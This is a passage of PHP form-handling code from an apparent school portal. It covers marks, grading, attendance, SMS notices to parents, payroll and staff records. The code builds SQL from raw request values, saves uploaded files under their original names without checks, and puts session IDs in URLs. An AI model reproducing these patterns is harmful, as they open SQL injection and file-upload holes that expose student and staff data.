	$m->where ("session_id", $_REQUEST['session']);

	$m->where ("class_id", $_REQUEST['class_id']);

	$m->where ("section_id", $_REQUEST['section_id']);

	$m->where ("term_id", $_REQUEST['term_id']);

	$m->where ("subject_id", $_REQUEST['subjects']);

	

	$records =  $m->delete ('eduportal_exam_marksheet');		

	

		for($i=0;$i<count($_REQUEST['students']);$i++){



			

			   $avg=($_REQUEST['obtmarks'][$i]/$_REQUEST['totalMarks'][0])*100;



				$query="SELECT grade_id,grade_title FROM eduportal_exam_school_grades WHERE percantage_start_range <=".$avg." and percantage_end_range >=".$avg;



				 $average =  $m->query($query);

					



				/*	echo $query; print_r($average);*/

					$data = array(

					'branch_id' => $_SESSION['branch'],

					'class_id' => $_REQUEST['class_id'],

					'section_id' => $_REQUEST['section_id'],

					'session_id' => $_REQUEST['session'],

					'student_id' => $_REQUEST['students'][$i],

					'subject_id' => $_REQUEST['subjects'],

					'obtained_marks' => $_REQUEST['obtmarks'][$i],

					'total_marks' => $_REQUEST['totalMarks'][0],

					'grade' => $average[0]['grade_title'],

					'term_id' => $_REQUEST['term_id']

					);



			//echo "<pre>"; print_r($data); echo "</pre> <br/>";

			

			$result = $m->insert('eduportal_exam_marksheet',$data);



		}



		// now adding user audit detail



	  				$m->where("subject_id", $_REQUEST['subjects']);

					$sec = $m->get("eduportal_subject_config");



					$m->where("class_id", $_REQUEST['class_id']);

					$rec = $m->get("edu_class_config");



					$Class_Name=$rec[0]['Class_Name'];

					$subject_name=$sec[0]['subject'];

					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Update Single Sub Mark sheet , Class=".$Class_Name.", Subject=".$subject_name ;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



		$_SESSION['yes']=1;	

		

		header("location:../view_Submarksheet.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&section=".$_REQUEST['section_id']."&session=".$_REQUEST['session']."&term_id=".$_REQUEST['term_id']."&subjects=".$_REQUEST['subjects']."");



	



}  // main 















if(($_REQUEST['action']=='UpdateGrading'))

{



	//echo "<pre>"; print_r($_REQUEST); echo "</pre>";



	$m->where ("branch_id", $_SESSION['branch']);

	$m->delete ('eduportal_exam_school_grades');	

	 

	if($_REQUEST['start']!=NULL){

	



		for($i=0;$i<count($_REQUEST['start']);$i++){				



			if($_REQUEST['grade'][$i]!=NULL && $_REQUEST['end'][$i]!=NULL && $_REQUEST['start'][$i]!=NULL){

			

					$data = array(

					'grade_title' => $_REQUEST['grade'][$i],

					'branch_id' => $_SESSION['branch'],

					'percantage_start_range' => $_REQUEST['start'][$i],

					'percantage_end_range' => $_REQUEST['end'][$i],

					'remarks' => $_REQUEST['remarks'][$i],

					'teacher_remarks' => $_REQUEST['teacher_remarks'][$i]

					);



				// echo "<pre>"; print_r($data); echo "</pre>";

				

				$result = $m->insert('eduportal_exam_school_grades',$data);

			}



		} // ending loop





			// now adding user audit detail



	  		

					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Grade Setting";



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);





		$_SESSION['grades']=1;	

		

		header("location:../grades_marks.php");



	



  }	// ending if 



}  // main 






if(($_REQUEST['action']=='MarkAttendance1'))

{


	// if attendance is not marketed then proceed

   //echo "<pre>"; print_r($_REQUEST); echo "</pre>";

	$m->where ("branch_Id", $_SESSION['branch']);

	$m->where ("class_id", $_REQUEST['class_id']);

	$m->where ("section_id", $_REQUEST['section_id']);

	$m->where ("session_id", $_REQUEST['session']);

	$m->where ("date", $_REQUEST['date']);

	$records =  $m->get ('eduportal_attendance_detail');		

		if(count($records)>0){	

		$_SESSION['error_msg']=1;		

		header("location:../mark_attendance.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&section=".$_REQUEST['section_id']."&session=".$_REQUEST['session']."&date=".$_REQUEST['date']."");

		} // ending if 

		else {


			// if attendance is not marketed then proceed

			//echo "<pre>"; print_r($_REQUEST); echo "</pre>";


		if(isset($_POST["attendance"])){ 
			

			foreach($_POST["attendance"] as $val){

		    	$attend=$_POST[$val];

				$data = array(

				'student_id' => $val,

				'attendance' => $attend,

				'status' => '1',

				'class_id' => $_REQUEST['class_id'],

				'section_id' => $_REQUEST['section_id'],

				'session_id' => $_REQUEST['session'],

				'date' => $_REQUEST['date'],

				'message_status' => '0',

				'branch_Id' => $_SESSION['branch']

				);

				$result = $m->insert('eduportal_attendance_detail',$data);			

				//echo "<pre>"; print_r($data); echo "</pre>"."<br>";

			}  // ending loop 


				// now adding user audit detail



	  				$m->where("section_id", $_REQUEST['section_id']);

					$sec = $m->get("edu_adm_section_detail");



					$m->where("class_id", $_REQUEST['class_id']);

					$rec = $m->get("edu_class_config");



					$Class_Name=$rec[0]['Class_Name'];

					$section_name=$sec[0]['section_name'];

					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Mark Attendance , Class=".$Class_Name.", Section=".$section_name ;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);

					//print_r($data);

					$result = $m->insert('eduportal_users_auditlog_detail',$data);

			 $_SESSION['Added']=1;

			//header("location:../mark_attend1.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&section=".$_REQUEST['section_id']."&session=".$_REQUEST['session']."&date=".$_REQUEST['date']);



		}

	



	}	// ending else condition



}  // main if













if(($_REQUEST['action']=='MarkAttendance'))

{


	// if attendance is not marketed then proceed

  // echo "<pre>"; print_r($_REQUEST); echo "</pre>";

	$m->where ("branch_Id", $_SESSION['branch']);

	$m->where ("class_id", $_REQUEST['class_id']);

	$m->where ("section_id", $_REQUEST['section_id']);

	$m->where ("session_id", $_REQUEST['session']);

	$m->where ("date", $_REQUEST['date']);

	$records =  $m->get ('eduportal_attendance_detail');		

		if(count($records)>0){	

		$_SESSION['error_msg']=1;		

		header("location:../mark_attend.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&section=".$_REQUEST['section_id']."&session=".$_REQUEST['session']."&date=".$_REQUEST['date']."&save=save");

		} // ending if 

		else {


			// if attendance is not marketed then proceed

			//echo "<pre>"; print_r($_REQUEST); echo "</pre>";


		if(isset($_POST["attendance"])){ 
			

			foreach($_POST["attendance"] as $val){

		    	$attend=$_POST[$val];

				$data = array(

				'student_id' => $val,

				'attendance' => $attend,

				'status' => '1',

				'class_id' => $_REQUEST['class_id'],

				'section_id' => $_REQUEST['section_id'],

				'session_id' => $_REQUEST['session'],

				'date' => $_REQUEST['date'],

				'message_status' => '0',

				'branch_Id' => $_SESSION['branch']

				);

				$result = $m->insert('eduportal_attendance_detail',$data);			

				//echo "<pre>"; print_r($data); echo "</pre>"."<br>";

			}  // ending loop 


				// now adding user audit detail



	  				$m->where("section_id", $_REQUEST['section_id']);

					$sec = $m->get("edu_adm_section_detail");



					$m->where("class_id", $_REQUEST['class_id']);

					$rec = $m->get("edu_class_config");



					$Class_Name=$rec[0]['Class_Name'];

					$section_name=$sec[0]['section_name'];

					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Mark Attendance , Class=".$Class_Name.", Section=".$section_name ;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);

					//print_r($data);

					$result = $m->insert('eduportal_users_auditlog_detail',$data);

			 $_SESSION['saveattendance']=1;

			header("location:../mark_attend.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&section=".$_REQUEST['section_id']."&session=".$_REQUEST['session']."&date=".$_REQUEST['date']."&save=save");



		}

	



	}	// ending else condition



}  // main if






if($_POST['action']=='SendAttendanceSMS')

{

  //print_r($_POST['checkboxes']);


	$sms=0;

	$cell_no;


 for($i=0;$i<count($_POST['checkboxes']);$i++){

  if($_POST['checkboxes'][$i]!=null){

	 $id=$_POST['checkboxes'][$i];    

      $student_name=$_POST['names'.$id];

      $number=$_POST['numbers'.$id];

      $attendanceStatus=$_POST['attend'.$id];    

      //echo $attendanceStatus;   


        if($attendanceStatus=='LA'){		

		

		$message = "Dear Parents, ".$student_name." was late  today ".date("d-M-Y")."  From : ".$_SESSION['branch_name'];

    } else if($_POST['attend'.$id]=='SL')  {


      $message = "Dear Parents, ".$student_name." has been applied short leave today ".date("d-M-Y")."  From : ".$_SESSION['branch_name'];


    } else if($_POST['attend'.$id]=='L')  {

    	$message = "Dear Parents, ".$student_name." on Leave today ".date("d-M-Y")."  From : ".$_SESSION['branch_name'];

    } else {

      $message = "Dear Parents, ".$student_name." is absent today ".date("d-M-Y")."  From : ".$_SESSION['branch_name'];
    }

    //echo "<pre>"; print_r($message); echo "</pre>";



	$result=sendSMSFuction($number,$message,$_SESSION['brand']);	

	//print_r($result);

    // now updating message status     
  

    $data = array('message_status' => "1");

    $m->where("student_id", $_POST['std'.$id]);

    $m->where("date", date('Y-m-d'));

    $result =  $m->update('eduportal_attendance_detail', $data);

   // echo "<pre>"; print_r($data); echo "</pre>";


    $branch=$_SESSION['branch']; 

    $from=$_SESSION['brand']; 



    $query="insert into edu_messages_details(msg_sender,msg_from,msg_details,msg_status,branch_id,attendance_msg) values ('$from','$number','$message','Sent','$branch','1')";

    $m->query($query);    

    //print_r($data);   

    $sms++;

    //print_r( $data);



    }// ending if number is not blank



  } // ending loop  



  $_SESSION['msg_sent']=1; 

   

 header("location:../send_msgs.php");


}



if($_POST['action']=='SendEmpAttendanceSMS'){



//print_r($_POST);



for($i=0;$i<count($_POST['checkboxes']);$i++){



  if($_POST['checkboxes'][$i]!=null){

    $id=$_POST['checkboxes'][$i];


    $student_name=$_POST['names'.$id];

    $number=$_POST['numbers'.$id];



    if($_POST['attend'.$id]=='LA'){

	
		$message = "Dear Parents, ".$student_name." was late  today ".date("d-M-Y")."  From : ".$_SESSION['branch_name'];



    }  elseif($_POST['attend'.$id]=='L') {

    	$message = "Dear Parents, ".$student_name." on leave today ".date("d-M-Y")."  From : ".$_SESSION['branch_name'];

    }  elseif($_POST['attend'.$id]=='SL') {

    	$message = "Dear Parents, ".$student_name." has been applied short leave today ".date("d-M-Y")."  From : ".$_SESSION['branch_name'];

   } else {

    	$message = "Dear Parents, ".$student_name." is absent today ".date("d-M-Y")."  From : ".$_SESSION['branch_name'];
    }




 	$result=sendSMSFuction($number,$message,$_SESSION['brand']);

   
    $data = array('message_status' => "1");

    $m->where("emp_id", $_POST['std'.$id]);

    $m->where("branch_id", $_SESSION['branch']);

    $m->where("date", date('Y-m-d'));

    $result =  $m->update('eduportal_hrm_emp_attendance', $data);


    $branch=$_SESSION['branch']; 

    $from=$_SESSION['brand']; 



    $query="insert into edu_messages_details(msg_sender,msg_from,msg_details,msg_status,branch_id,attendance_msg) values ('$from','$number','$message','Sent','$branch','1')";

    $m->query($query);



    }// ending if number is not blank



  } // ending loop 



  header("location:../send_emp_absnt_msgs.php");

}






if(($_REQUEST['action']=='UpdateAttendance'))

{


	// delete the old attendance

	$m->where ("branch_Id", $_SESSION['branch']);

	$m->where ("class_id", $_REQUEST['class_id']);

	$m->where ("section_id", $_REQUEST['section_id']);

	$m->where ("session_id", $_REQUEST['session']);

	$m->where ("date", $_REQUEST['date']);

	$m->delete ('eduportal_attendance_detail');	



	$qr="DELETE FROM eduportal_attendance_detail WHERE branch_id='".$_SESSION['branch']."' and date='".$_REQUEST['date']."' and class_id='".$_REQUEST['class_id']."' and section_id='".$_REQUEST['section_id']."' ";

	// echo $qr;



	$m->query($qr);	





	// print_r($_REQUEST);



	if(isset($_POST["attendance"])){ 

		

		foreach($_POST["attendance"] as $val){



	    	$attend=$_POST[$val];

		



			$data = array(

			'student_id' => $val,

			'attendance' => $attend,

			'status' => '1',

			'class_id' => $_REQUEST['class_id'],

			'section_id' => $_REQUEST['section_id'],

			'session_id' => $_REQUEST['session'],

			'date' => $_REQUEST['date'],

			'message_status' => '0',

			'branch_Id' => $_SESSION['branch']

			);



			$result = $m->insert('eduportal_attendance_detail',$data);



		}  // ending loop 



		// now adding user audit detail



	  				$m->where("section_id", $_REQUEST['section_id']);

					$sec = $m->get("edu_adm_section_detail");



					$m->where("class_id", $_REQUEST['class_id']);

					$rec = $m->get("edu_class_config");



					$Class_Name=$rec[0]['Class_Name'];

					$section_name=$sec[0]['section_name'];

					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Edit Attendance , Class=".$Class_Name.", Section=".$section_name ;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



				//	print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



		$_SESSION['update_attendance']=1;	

	header("location:../view_attendance.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&section=".$_REQUEST['section_id']."&session=".$_REQUEST['session']."&date=".$_REQUEST['date']."");



	}



}  // main 





if($_POST['action']=='EditStdAttendance'){ 


//print_r($_POST);


			$data = array(
					
			'attendance' => $_POST['attendance']);



			$m->where("student_id",$_POST['stdId']);

			$m->where("date",$_POST['date']);

			$m->where("branch_Id",$_SESSION['branch']);

		//	print_r($data); 

			$result = $m->update('eduportal_attendance_detail',$data);
		



		$_SESSION['Updated']=1;	

		header("location:../select_edit_attendance.php?".session_id().session_id().session_id().session_id().session_id()."&date=".$_POST['date']."&attendance=".$_POST['attendance']."&page=".$_POST['page']);

}




if(($_REQUEST['action']=='MarkEmpAttendance'))

{

	



	if(isset($_POST["attendance"])){ 

		

		foreach($_POST["attendance"] as $val){



		// if attendance is not marketed then proceed  

		$m->where ("branch_id", $_SESSION['branch']);

		$m->where ("session_id", $_REQUEST['session']);

		$m->where ("date", $_REQUEST['date']);

		$m->where ("emp_id", $val);



		$m->delete ('eduportal_hrm_emp_attendance');	







	    	$attend=$_POST[$val];

		



			$data = array(

			'emp_id' => $val,

			'attendance' => $attend,

			'date' => $_REQUEST['date'],

			'branch_id' => $_SESSION['branch'],

			'session_id' => $_REQUEST['session']

			);



			//echo "<pre>"; print_r($data); echo "</pre>";



			$result = $m->insert('eduportal_hrm_emp_attendance',$data);

		

		}  // ending loop 



			// now adding user audit detail

	  				

					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Mark Employee Attendance , Date=".$_REQUEST['date'];



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);





		$_SESSION['emp_attendance_done']=1;	

		header("location:../view_emp_attendance.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_REQUEST['session']."&date=".$_REQUEST['date']);



	}// ending attendance if







}  // main  if













if(($_POST['action']=='AddEmployeeSalary'))

{

// this portion of code is going to get all the employee salary

// parameters againts their each index using for loop



	if(isset($_POST["employee"])){ 

		

		for($i=0;$i<count($_POST["employee"]);$i++){



	    	//echo $_POST['employee'][$i]."<br>";

		$m->where("user_id", $_POST['employee'][$i]);
		$m->where("branch_id", $_SESSION['branch']);
		$employee_secu=$m->get("employee_payroll");

		$employeeSecurity=$employee_secu[0]['security_deductions']+$_POST['security_deductions'][$i];

		
			$data = array(

			'session_id' => $_POST['session'],

			'branch_id' => $_SESSION['branch'],

			'user_id' => $_POST['employee'][$i],

			'basic_salary' => $_POST['basic_salary'][$i],

			'month_id' => $_POST['month'],

			//'income_tax' => $_POST['income_tax'][$i],

			//'provident_fund' => $_POST['provident_fund'][$i],

			//'personal_loan' => $_POST['personal_loan'][$i],

			'previous_balance' => $_POST['pre_balance'][$i],

			'security_deductions' => $_POST['security_deductions'][$i],

			'advance_deductions' => $_POST['advance_deductions'][$i],

			'other_deductions' => $_POST['other_deductions'][$i],

			'leave_deduction' => $_POST['leave_deduction'][$i],

			'total_deduction' => $_POST['total_deduction'][$i],

			'travelling_allowance' => $_POST['emp_trav'][$i],

			'leave_encashment' => $_POST['leave_encashment'][$i],

			//'incentive_commission' => $_POST['incentive_commission'][$i],

			'reimbursement' => $_POST['emp_reimbersement'][$i],

			'other_allowances' => $_POST['other_allowances'][$i],

			'total_allowances' => $_POST['total_allowances'][$i],

			'net_total' => $_POST['net_total'][$i]



			);



			//print_r($data); 



			$result = $m->insert('employee_payroll',$data);



				// update user security

		$m->where("user_id", $_POST['employee'][$i]);
		$m->where("branch_id", $_SESSION['branch']);
		$userSecurity=$m->get("edu_user_config");


		$TotaluserSecurity=$userSecurity[0]['user_security']+$_POST['security_deductions'][$i];

	$data = array(

		
		'user_security' => $TotaluserSecurity);

	 

	 	//print_r($data);

	 $m->where("user_id", $_POST['employee'][$i]);

     $m->where("branch_id", $_SESSION['branch']);

	 $result =  $m->update ('edu_user_config', $data);	

		

		}  // ending loop 


	


				

		$_SESSION['Added']=1;	

		header("location:../view_payroll.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_POST['session']."&month=".$_POST['month']);



		}





	

}  // main 









if($_REQUEST['action']=='EditEmployee')

{







	  if($_FILES['img_file']['name']!=""){



			$target_path = "../staff_pics/"; 

			$rand=rand(00000,999999);

			$target_path = $target_path.basename($rand.$_FILES['img_file']['name']);

			$img_src =  basename($rand.$_FILES['img_file']['name']);

			$tmp = $_FILES['img_file']['tmp_name'];

			move_uploaded_file($tmp, $target_path);

		} 

		else {

			$img_src=$_REQUEST['old_img'];

		}



	$data = array(

		'user_fname' => $_REQUEST['fname'],

		'user_email' => $_REQUEST['email'],

		'branch_id' => $_SESSION['branch'],

		'user_lname' => $_REQUEST['lname'],

		'user_gender' => $_REQUEST['gender'],

		'user_religion' => $_REQUEST['religion'],

		'attach_image' => $img_src,

		'user_cnic' => $_REQUEST['cnic'],

		'user_postalcode' => $_REQUEST['postal'],

		'department_id' => $_REQUEST['department'],

		'user_blood' => $_REQUEST['blood'],

		'cell_no' => $_REQUEST['cell_no'],

		'home_no' => $_REQUEST['home_no'],

		'user_address' => $_REQUEST['address'],

		'account_holder' => $_REQUEST['account_holder'],

		'bank_name' => $_REQUEST['bank_name'],

		'account_no' => $_REQUEST['account_no'],

		'user_joining' => $_REQUEST['joining'],

		'user_confirmation' => $_REQUEST['confirmation'],

		'user_jobtype' => $_REQUEST['jobtype'],

		'designation_id' => $_REQUEST['designation'],

		'user_salary' => $_REQUEST['salary'],

		'user_prev_desig' => $_REQUEST['prev_desig'],

		'user_prev_exp' => $_REQUEST['prev_exp'],

		'user_prev_comp' => $_REQUEST['prev_comp'],

		'user_qualification' => $_REQUEST['qualification'],

		'emp_trav' => $_REQUEST['emp_trav'],

		'emp_leaves' => $_REQUEST['emp_leaves'],

		'emp_incentives' => $_REQUEST['emp_incentives'],

		'emp_reimbersement' => $_REQUEST['emp_reimbersement'],

		'emp_other' => $_REQUEST['emp_other'],

		'DOB' => $_REQUEST['DOB']);

	 

	 	//print_r($data);

	 $m->where("user_id", $_REQUEST['emp']);

     $m->where("branch_id", $_SESSION['branch']);

	 $result =  $m->update ('edu_user_config', $data);	





	 // now adding user audit detail



					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Update Employee , Employee Name=".$_REQUEST['fname'];



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);





	$_SESSION['Updated']=1;

	header("location:../emp_details.php?".session_id().session_id().session_id().session_id().session_id()."&emp=".$_REQUEST['emp']);

}



if(($_REQUEST['action']=='DeleteEmployeeSalary'))

{
		


		$m->where("session_id", $_REQUEST['session']);

		$m->where("month_id", $_REQUEST['month']);

		$m->where("branch_id", $_SESSION['branch']);

     	$result = $m-> delete('employee_payroll');

		
				

		$_SESSION['delete']=1;	

		header("location:../view_payroll.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_SESSION['current_session']."&month=".$_REQUEST['month']);

	

}




/* start code Add Employee salary*/

	if(($_POST['action']=='Paysalary'))
{

//print_r($_REQUEST);
		$m->where("user_id", $_POST['employee']);
		$m->where("branch_id", $_SESSION['branch']);
		$employee_secu=$m->get("employee_payroll");

		$employeeSecurity=$employee_secu[0]['security_deductions']-$_POST['security_paid'];

        $remaining=$_POST['npay']-$_POST['payamount'];

//print_r($_POST);
			$data = array(
			'session_id' => $_POST['session'],
			'branch_id' => $_SESSION['branch'],
			'user_id' => $_POST['employee'],
			'paid_amount' => $_POST['payamount'],
			'month_id' => $_POST['month'],
			'remaining' => $remaining, 
			'paid_date' => $_POST['pdate'],
			//'security_deductions' => $employeeSecurity,
			'paid_status' => 1
			);

			//print_r($data); 
			$m->where("user_id",($_POST['employee']));
			$m->where("month_id",($_POST['month']));
			$m->where("session_id",($_POST['session']));
			$result =  $m->update ('employee_payroll', $data);
			//print_r($result);



			// update user security

		$m->where("user_id", $_POST['employee']);
		$m->where("branch_id", $_SESSION['branch']);
		$userSecurity=$m->get("edu_user_config");


		$TotaluserSecurity=$userSecurity[0]['user_security']-$_POST['security_paid'];

		$TotaluserAdvance=$userSecurity[0]['advance_deductions']-$_POST['advance_deductions'];

	$data = array(

		
		'user_security' => $TotaluserSecurity,

		'advance_deductions' => $TotaluserAdvance


	);

	 

	 	//print_r($data);

	 $m->where("user_id", $_POST['employee']);

     $m->where("branch_id", $_SESSION['branch']);

	 $result =  $m->update ('edu_user_config', $data);	
		
	
// Now sending Paid Salary confirmation msg to To Employee if the sms status is YES
$m->where("branch_id", $_SESSION['branch']);
$branch=$m->get("edu_branch_config");

$m->where("user_id",($_POST['employee']));
$m->where("branch_id", $_SESSION['branch']);
$employee_no=$m->get("edu_user_config");

$m->where("Month_Id",($_POST['month']));
$monthName=$m->get("eduportal_month_config");

if($branch[0]['paid_salary_msg']=="1" || $branch[0]['paid_salary_msg']==1){


   
   $totalAmount=$_POST['npay'];
   $paid=$_POST['payamount'];
   $emp_name=$employee_no[0]['user_fname'];
   
 
    $message ="Dear, 
".$emp_name." you have received salary of (".$monthName[0]['Month_Name'].")  
Total:".$totalAmount."
Paid:".$paid."
Balance:".$remaining." 

From:".$_SESSION['branch_name'];

	//echo "<br>".$message;


  $result=sendSMSFuction($employee_no[0]['cell_no'],$message,$_SESSION['brand']);


    $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $employee_no[0]['cell_no'],'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'other_msg' => 1);
    $result =  $m->insert ('edu_messages_details', $data);
 	
   // print_r($data);
}


		$_SESSION['Added']=1;	
		header("location:../view_payroll.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_POST['session']."&month=".$_REQUEST['month']);

	
}  // main







/* start code reasons deletion of students*/



	if(($_POST['action']=='delete_student'))

{
	//print_r($_POST);	

$reasons;

if($_POST['fee']=="Other"){ 

		$reasons=$_POST['expln'];

	} else {

		$reasons=$_POST['fee'];

	}


//print_r($_POST);

		$data = array(

		'status' => 1,

		'expel_date' => $_POST['struck_date'],

		'expel_reason' => $reasons,

		);

		 //print_r($data);

		$m->where ("student_id", $_POST['student']);

		$m->where ("branch_id", $_SESSION['branch']);

		$result =  $m->update ('edu_student_details', $data);

		//print_r($result);
		

	// now adding user audit detail


	$m->where("student_id", $_POST['student']);

	$student = $m->get("edu_student_details");



	$student_fname=$student[0]['first_name'];

	$student_lname=$student[0]['last_name'];

	$cellno=$student[0]['cell_no'];
	$numberPrincipal=$brid[0]['Owner_no'];

	$stuckDate=$_POST['struck_date'];

	$username=$_SESSION['username'];



		$action="User: ".$username.", Action: Manage Students (Delete) , Student Name:=".$student_fname.", Father Name=".$section_name ;



	date_default_timezone_set("Asia/Karachi");


	$data = array(

	'user_id' => $_SESSION['user_id'],

	'action' => $action,

	'date' => date("Y-m-d"),

	'month_id' => date('m'),

	'time' => date("h:i:sa"),

	'branch_id' => $_SESSION['branch'],

	);


	//print_r($data);


	$result = $m->insert('eduportal_users_auditlog_detail',$data);


// this code delete access in parents access table


	$m->where("cell_no", $_POST['cell']);

	$cellNumber = $m->get("edu_student_details");

	if(count($cellNumber)==1){


		$m->where("parents_cellno", $_REQUEST['cell']);

		$m->where ("branch_id", $_SESSION['branch']);

     	$result = $m-> delete('eduportal_parents_access');


	}


	// this is the script for sending welcome msg to student

					$m->where("branch_id", $branch);

					$branch=$m->get("edu_branch_config");



					if($_POST['sendSms']=="YES"){

					

						$msg="Dear ".$student_fname.", you are struck off From ".$_SESSION['branch_name']." Reasons : ".$reasons. " Date :".$stuckDate;

						$result=sendSMSFuction($cellno,$msg,$_SESSION['brand']);

						//print_r($result);

						 $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $cellno,'msg_details' => $msg,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'other_msg' => 1);

	    				$result =  $m->insert ('edu_messages_details', $data);						

					


	    			// now sending fee confirmation msg to Principle if the sms status is YES

		if($brid[0]['double_confirmation_sms_to_principal']=="1" || $brid[0]['double_confirmation_sms_to_principal']==1 ){


		    $message="Dear ".$student_fname.", you are struck off From ".$_SESSION['branch_name']." Reasons : ".$reasons. " Date :".$stuckDate;



		//echo "<br>".$message;

		 $result=sendSMSFuction($numberPrincipal,$message,$_SESSION['brand']);


	    $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $numberPrincipal,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'fee_msg' => 1);

	    $result =  $m->insert ('edu_messages_details', $data);

		 
		}

		}

	$_SESSION['Added']=1;	

	header("location:../old_student_profile.php?".session_id().session_id().session_id().session_id().session_id()."&student=".$_POST['student']);





}  // main





/* start code reasons deletion of students*/



	if(($_POST['action']=='delete_employee'))

{

	//print_r($_POST);

	

$reasons;
$empOther="Other".$_POST['employee'];

if($_POST['emp']==$empOther){ 

		$reasons=$_POST['expln'];

	} else {

		$reasons=$_POST['emp'];

	}



//print_r($_POST);

			$data = array(

			'status' => 1,

			'expel_date' => $_POST['struck_date'],

			'expel_reason' => $reasons				

			);



			// print_r($data);

			$m->where ("user_id", $_POST['employee']);

			$m->where ("branch_id", $_SESSION['branch']);

			$result =  $m->update ('edu_user_config', $data);

			//print_r($result);

		
			

			
			$numberPrincipal=$brid[0]['Owner_no'];

			$stuckDate=$_POST['struck_date'];

			$username=$_SESSION['username'];

		

		// now adding user audit detail



	  		

					$m->where("user_id", $_POST['employee']);

					$employee = $m->get("edu_user_config");

				

					$user_fname=$employee[0]['user_fname'];

					$user_lname=$employee[0]['user_lname'];

					$cellno=$employee[0]['cell_no'];

					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Manage Students (Delete) , Student Name:=".$user_fname.", Father Name=".$user_lname ;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



					if($_POST['sendSms']=="YES"){

					

						$msg="Dear ".$user_fname.", you are struck off From ".$_SESSION['branch_name']." Reasons : ".$reasons. " Date :".$stuckDate;

						$result=sendSMSFuction($cellno,$msg,$_SESSION['brand']);

						//print_r($result);

						 $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $cellno,'msg_details' => $msg,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'other_msg' => 1);

	    				$result =  $m->insert ('edu_messages_details', $data);						

					


	    			// now sending fee confirmation msg to Principle if the sms status is YES

		if($brid[0]['double_confirmation_sms_to_principal']=="1" || $brid[0]['double_confirmation_sms_to_principal']==1 ){


		    $message="Dear ".$user_fname.", you are struck off From ".$_SESSION['branch_name']." Reasons : ".$reasons. " Date :".$stuckDate;



		//echo "<br>".$message;

		 $result=sendSMSFuction($numberPrincipal,$message,$_SESSION['brand']);


	    $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $numberPrincipal,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'fee_msg' => 1);

	    $result =  $m->insert ('edu_messages_details', $data);

		 
		}

		}


		$_SESSION['Added']=1;	

		header("location:../view_emp.php?".session_id().session_id().session_id().session_id().session_id());



}  // main







	// add expenses

		 

if($_REQUEST['action']=="add_expenses")

//print_r($_REQUEST);

{



	$data = array(

		

		'category_id' => $_REQUEST['category'],

		'subcategory_id' => $_REQUEST['subcatgory'],

		'expense_details' => $_REQUEST['detail'],

		'expense_date' => $_REQUEST['edate'],

